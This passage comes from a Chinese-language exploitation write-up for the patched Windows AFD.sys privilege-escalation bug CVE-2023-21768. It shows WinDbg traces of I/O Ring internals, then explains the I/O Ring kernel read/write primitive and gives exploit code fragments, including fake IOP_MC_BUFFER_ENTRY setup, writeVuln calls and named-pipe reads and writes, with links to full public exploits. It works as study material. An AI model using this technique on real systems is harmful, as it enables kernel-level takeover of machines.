3: kd> dq rsp+68+10 L1 0000008c`88cffca8 000001d8`730a16e0 3: kd> dq 000001d8`730a16e0 000001d8`730a16e0 00000000`000000e8 00000000`00000001 000001d8`730a16f0 00000008`00000000 00000010`00000007 000001d8`730a1700 00000000`0000000f 000001d8`73080000 000001d8`730a1710 000001d8`73080250 00000000`00000001 000001d8`730a1720 ffffffff`ffffffff ffffffff`ffffffff 000001d8`730a1730 ffffffff`ffffffff 00000000`00000000 000001d8`730a1740 00000000`00000000 00000000`00000000 000001d8`730a1750 00000000`00000000 00000000`00000000
|
并且handle上的0xe8值能找到刚才找到的内核对象

等到BuildIoRingReadFile后,在这个Ring3上建立了一个操作:使用 I/O 通道从文件执行异步读取。说人话就是常见了一个任务到ring3的SubmissionQueue上,也就是这里的:0x000001d873080000
3: kd> dt _NT_IORING_SUBMISSION_QUEUE 0x000001d8`73080000 nt!_NT_IORING_SUBMISSION_QUEUE +0x000 Head : 0 //循环队列为空 +0x004 Tail : 0 //循环队列为空 +0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE ) +0x010 Entries : [1] _NT_IORING_SQE
|
刚刚创建的SQE就是
3: kd> dt _NT_IORING_SQE 0x1d873080010 nt!_NT_IORING_SQE +0x000 OpCode : 1 ( IORING_OP_READ ) +0x004 Flags : 0 ( NT_IORING_SQE_FLAG_NONE ) +0x008 UserData : 0 +0x008 PaddingUserDataForWow : 0 +0x010 Read : _NT_IORING_OP_READ +0x010 RegisterFiles : _NT_IORING_OP_REGISTER_FILES +0x010 RegisterBuffers : _NT_IORING_OP_REGISTER_BUFFERS +0x010 Cancel : _NT_IORING_OP_CANCEL +0x010 Write : _NT_IORING_OP_WRITE +0x010 Flush : _NT_IORING_OP_FLUSH +0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
|
关于四种操作类型[10]中的 I/O环操作代码 部分讲的很详细了,我们的IORING_OP_READ就类似于

3: kd> dt _NT_IORING_OP_RESERVED 0x1d873080000+10 nt!_NT_IORING_OP_RESERVED +0x000 Argument1 : 1 //Operation +0x008 Argument2 : 0 +0x010 Argument3 : 0 +0x018 Argument4 : 0xec //FileRef(HANDLE) +0x020 Argument5 : 0x000001d8`73260000 //Ring3中设置的Output Buffer +0x028 Argument6 : 0 3: kd> !object ffff9f8234602500 //上面的FileRef的HANDLE找到的内核对象 //符合代码逻辑 Object: ffff9f8234602500 Type: (ffff9f822dc36c40) File ObjectHeader: ffff9f82346024d0 (new version) HandleCount: 1 PointerCount: 1 Directory Object: 00000000 Name: \Windows\System32\notepad.exe {HarddiskVolume3} 3: kd> dq 0x000001d8`73260000 //Output Buffer 还没有效果 000001d8`73260000 ????????`???????? ????????`???????? 000001d8`73260010 ????????`???????? ????????`???????? 000001d8`73260020 ????????`???????? ????????`???????? 000001d8`73260030 ????????`???????? ????????`???????? 000001d8`73260040 ????????`???????? ????????`???????? 000001d8`73260050 ????????`???????? ????????`???????? 000001d8`73260060 ????????`???????? ????????`???????? 000001d8`73260070 ????????`???????? ????????`????????
|
现在进行SubmitIoRing,提交过后循环队列中的Head和Tail就应该不为0了,说明此时的队列有任务
//提交队列 3: kd> dt _NT_IORING_SUBMISSION_QUEUE 0x000001d8`73080000 nt!_NT_IORING_SUBMISSION_QUEUE +0x000 Head : 1 +0x004 Tail : 1 +0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE ) +0x010 Entries : [1] _NT_IORING_SQE 3: kd> dt _NT_IORING_SUBMISSION_QUEUE 0xfffff8048e7e0010 nt!_NT_IORING_SUBMISSION_QUEUE +0x000 Head : 1 +0x004 Tail : 0 +0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE ) +0x010 Entries : [1] _NT_IORING_SQE //完成队列 3: kd> dt _NT_IORING_COMPLETION_QUEUE 0x1d873080250 nt!_NT_IORING_COMPLETION_QUEUE +0x000 Head : 0 +0x004 Tail : 1 +0x008 Entries : [1] _NT_IORING_CQE 3: kd> dt _NT_IORING_COMPLETION_QUEUE 0xffffe780`a217e250 nt!_NT_IORING_COMPLETION_QUEUE +0x000 Head : 0 +0x004 Tail : 1 +0x008 Entries : [1] _NT_IORING_CQE
|
同时Output Buffer已经有值了
3: kd> dq 0x000001d8`73260000 000001d8`73260000 00000003`00905a4d 0000ffff`00000004 000001d8`73260010 00000000`000000b8 00000000`00000040 000001d8`73260020 00000000`00000000 00000000`00000000 000001d8`73260030 00000000`00000000 000000f0`00000000 000001d8`73260040 cd09b400`0eba1f0e 685421cd`4c01b821 000001d8`73260050 72676f72`70207369 6f6e6e61`63206d61 000001d8`73260060 6e757220`65622074 20534f44`206e6920 000001d8`73260070 0a0d0d2e`65646f6d 00000000`00000024
|

效果一致。
最后再总结一下就是

IO Ring 利用
和我们这里写exp相关的是操作码是IORING_OP_REGISTERED_BUFFERS:请求预先注册用于读取文件数据的输出缓冲区。在这种情况下,Buffer条目中的字段应包含一个IORING_BUFFER_INFO结构体数组,用于描述将要读取文件数据的缓冲区的地址和大小:
typedef struct _IORING_BUFFER_INFO { PVOID Address; ULONG Length; } IORING_BUFFER_INFO, *PIORING_BUFFER_INFO;
|
缓冲区地址和大小将被复制到一个新数组中,并放入BufferArray提交队列的相应字段中。该BuffersRegistered字段将包含缓冲区的数量。

根据[11]的分析
应用程序可以执行的操作之一是为其未来的 I/O 操作分配所有缓冲区,然后将它们注册到 I/O 环中。
请求处理过程中,会发生以下情况:
IoRingObject->RegBuffers并IoRingObject->RegBuffersCount设置为零。
- 有效值验证:内核验证了这
Sqe->RegisterBuffers.Buffers,Sqe->RegisterBuffers.Count两个值都不为零。
- 数组大小验证:如果请求来自用户模式,则会探测数组以验证它是否完全位于用户模式地址空间中。数组大小最大可达
sizeof(ULONG)。
- 重复注册问题:如果环之前有一个预注册的缓冲区数组,并且新缓冲区的大小与旧缓冲区的大小相同,则将旧缓冲区数组放回环中,并忽略新缓冲区。
- 设置新的buffer:如果前面的检查通过并且要使用新的缓冲区数组,则会进行新的分页池分配——这将用于从用户模式数组复制数据,并将由 指向
IoRingObject->RegBuffers。
- 如果之前 I/O 环指向过已注册的缓冲区数组,则会将其复制到新的内核数组中。任何新的缓冲区都会添加到同一分配区域,位于旧缓冲区之后。
- 从用户模式发送的数组中的每个条目都会被探测,以验证请求的缓冲区是否完全处于用户模式,然后被复制到内核数组。
- 旧的内核数组(如果存在)将被释放,操作完成。
任意内核写入让IoRing->RegBuffers指向伪造的、用户控制的数组。也就是说我们控制内核IORingObject->BufferArray索引,会影响最终内存地址的取值,例如:IORING_BUFFER_INFO[IORingObject->BufferArray],如果这里的IORingObject->BufferArray=2,那么最终的OutputBuffer就是 Buffer[2]->Address

根据[11]中的说法我们可以控制IORING_BUFFER_INFO数组,而且你可以不适用命名管道而是使用文件HANDLE也行
最初我的简陋方案依赖于文件的读写操作,但 Alex 建议改用命名管道,这更酷炫,也更隐蔽,不会在磁盘上留下任何痕迹。因此,本文的其余部分以及漏洞利用代码都将使用命名管道。
- 创建两个命名管道
CreateNamedPipe:一个用于任意内核写入操作的输入,另一个用于任意内核读取操作的输出。至少用作输入的管道应该使用PIPE_ACCESS_DUPLEX允许读写的标志创建。PIPE_ACCESS_DUPLEX为了方便起见,我选择同时使用这两个标志创建管道。
- 打开两个管道的客户端句柄
CreateFile,并赋予它们读写权限。
- 创建 I/O 环:这可以通过
CreateIoRingAPI 实现。
- 在堆中分配一个假的缓冲区数组:从正式
22H2版本开始,注册的缓冲区数组不再是扁平数组,而是IOP_MC_BUFFER_ENTRY结构体数组,因此这变得稍微复杂一些。关于buffer地址我们可以使用VirtualAllocate在Ring3某个具体地址创建一个伪造的buffer,例如VirtualAllocate(0x12345678)返回的buffer地址就在0x12345678。这方便了我们使用任意地址写1来创造可控buffer。
- 找到新创建的 I/O 环对象的地址。
- 使用你偏好的任意写入错误来覆盖
IoRing->RegBuffers伪造的用户模式数组的地址。请注意,如果你之前没有注册有效的缓冲区数组,你还需要覆盖它IoRing->RegBuffersCount以确保其值为非零值。
- 用内核指针填充伪缓冲区数组,以便进行读写操作
BuildIoRingReadFile通过 I/O 环对队列进行读写操作BuildIoRingWriteFile。
图片来源于[12],你也可以参考[9]中讲的更具体的、更针对这个漏洞的利用流程

编写利用注意事项
三年前的洞了,很多人都写过EXP,写EXP这方面就算再不会也得抄一遍,然后再把自己的东西融进去,这样对漏洞利用的理解就比较深刻了
-
创建ioring的时候注意队列的大小和测试的时候不一样
result = CreateIoRing(IORING_VERSION_1, flags, 1, 1, &handle); if (!SUCCEEDED(result)) { printf("Failed creating IO ring handle: 0x%x\n", result); goto Exit; }
ioResult = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, &ioRingHandle); if (!SUCCEEDED(ioResult)) { printf("Failed creating IO ring handle: 0x%x\n", ioResult); return false; }
|
-
关于VirtualAlloc的申请技术,这个利用在很多地方,只要是合法的申请第一个lpAddr就一定能在上面,如果如覆写的第四位为0x1,相应的太高地址为0x10000000就好了。最重要的是保持ring3和ring0中对应的buffer都是同一个内存。这个基础在大堆块的溢出中也有使用。
LPVOID buffer = VirtualAlloc((LPVOID)ring3Addr, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (buffer == NULL) { printf("[x] Error when alloc buffer\n"); exit(1); }
auto ioRingPtr = (_HIORING*)ioRingHandle; ioRingPtr->RegBufferArray = buffer; ioRingPtr->BufferArraySize = 1; PIORING_OBJECT ioringKernelPtr = reinterpret_cast<PIORING_OBJECT>(ioRingKernelAddr); writeVuln(reinterpret_cast<ULONG_PTR>(&(ioringKernelPtr->RegBuffersCount)), 1); writeVuln(reinterpret_cast<ULONG_PTR>(&(ioringKernelPtr->RegBuffers)) + 3, 1); printf("[+]all buffer sets\n");
|
-
伪造BufferArray为pMcBufferEntry结构体。主要是windows在22H2上修改了一下_IORING_BUFFER_INFO这个结构体的内容,变为了_IOP_MC_BUFFER_ENTRY[11],原来的内容被放到了Address和Length,如果是自己探索的话写个demo看下值即可。编写exp的时候参考[11]就行了。
typedef struct _IOP_MC_BUFFER_ENTRY { USHORT Type; USHORT Reserved; ULONG Size; ULONG ReferenceCount; ULONG Flags; LIST_ENTRY GlobalDataLink; PVOID Address; ULONG Length; CHAR AccessMode; ULONG MdlRef; PMDL Mdl; KEVENT MdlRundownEvent; PULONG64 PfnArray; IOP_MC_BE_PAGE_NODE PageNodes[1]; } IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;
mcBufferEntry->Address = TargetAddress; mcBufferEntry->Length = Length; mcBufferEntry->Type = 0xc02; mcBufferEntry->Size = 0x80; mcBufferEntry->AccessMode = 1; mcBufferEntry->ReferenceCount = 1;
|
在任意写的时候,先将内容通过serverpipe写到管道中,然后通过clientpipe,不使用ReadFile而是BuildIoRingReadFile从管道中读取。ioring就会从pipe管道中读取pMcBufferEntry->len到pMcBufferEntry->Address ,所以需要先将内容写入到管道
HRESULT BuildIoRingReadFile( HIORING ioRing, IORING_HANDLE_REF fileRef, IORING_BUFFER_REF dataRef, UINT32 numberOfBytesToRead, UINT64 fileOffset, UINT_PTR userData, IORING_SQE_FLAGS sqeFlags );
status = WriteFile(hWPipeServer, writeBuffer, len, NULL, NULL); reinterpret_cast<PULONGLONG>(pBuffer)[0] = (ULONGLONG)pMcBufferEntry; status = BuildIoRingReadFile( ioring, IoRingHandleRefFromHandle(hWPipeClient), IoRingBufferRefFromIndexAndOffset(0, 0), len, 0, NULL, IOSQE_FLAGS_NONE);
|
在任意读的时候,ioring就会从pMcBufferEntry->Address 写入pMcBufferEntry->len到管道内
reinterpret_cast<PULONGLONG>(pBuffer)[0] = (ULONGLONG)pMcBufferEntry; status = BuildIoRingWriteFile( ioring, IoRingHandleRefFromHandle(hRPipeClient), IoRingBufferRefFromIndexAndOffset(0, 0), len, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
|
写exp总有种做作业的感觉,写一下我找的参考答案吧
https://github.com/zoemurmure/CVE-2023-21768-AFD-for-WinSock-EoP-exploit
https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768
https://bbs.kanxue.com/thread-277016-1.htm#msg_header_h3_12
我的完整exp+调试过程代码在:https://github.com/Joe1sn/CVE_2023_21768

引用
[1] WinSock 的 Windows 辅助功能驱动程序特权提升漏洞 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21768
[2] https://catalog.update.microsoft.com/Search.aspx?q=KB5022303
[3] joxeankoret/diaphora https://github.com/joxeankoret/diaphora
[4] 安利一个IDA插件diaphora,可以将函数名、注释、结构体等的先前版本移植到新版本 https://www.cnblogs.com/ciyze0101/p/10906162.html
[5] DRIVER_OBJECT结构 https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/ns-wdm-_driver_object
[6] Under the Hood of AFD.sys Part 1: Investigating Undocumented Interfaces https://leftarcode.com/posts/afd-reverse-engineering-part1/
[7] ObReferenceObjectByHandle 函数 (wdm.h) https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-obreferenceobjectbyhandle
[8] Windows Internals, Part 1 https://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows System Internals 7e Part 1.pdf
[9] Patch Tuesday → Exploit Wednesday: Pwning Windows ancillary function driver for WinSock (afd.sys) in 24 hours https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock
[10] I/O Rings – When One I/O Operation is Not Enough https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
[11] One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
[12] CVE-2023-21768 AFD for WinSock 提权漏洞利用思路探索 https://www.zoemurmure.top/posts/cve_2023_21768/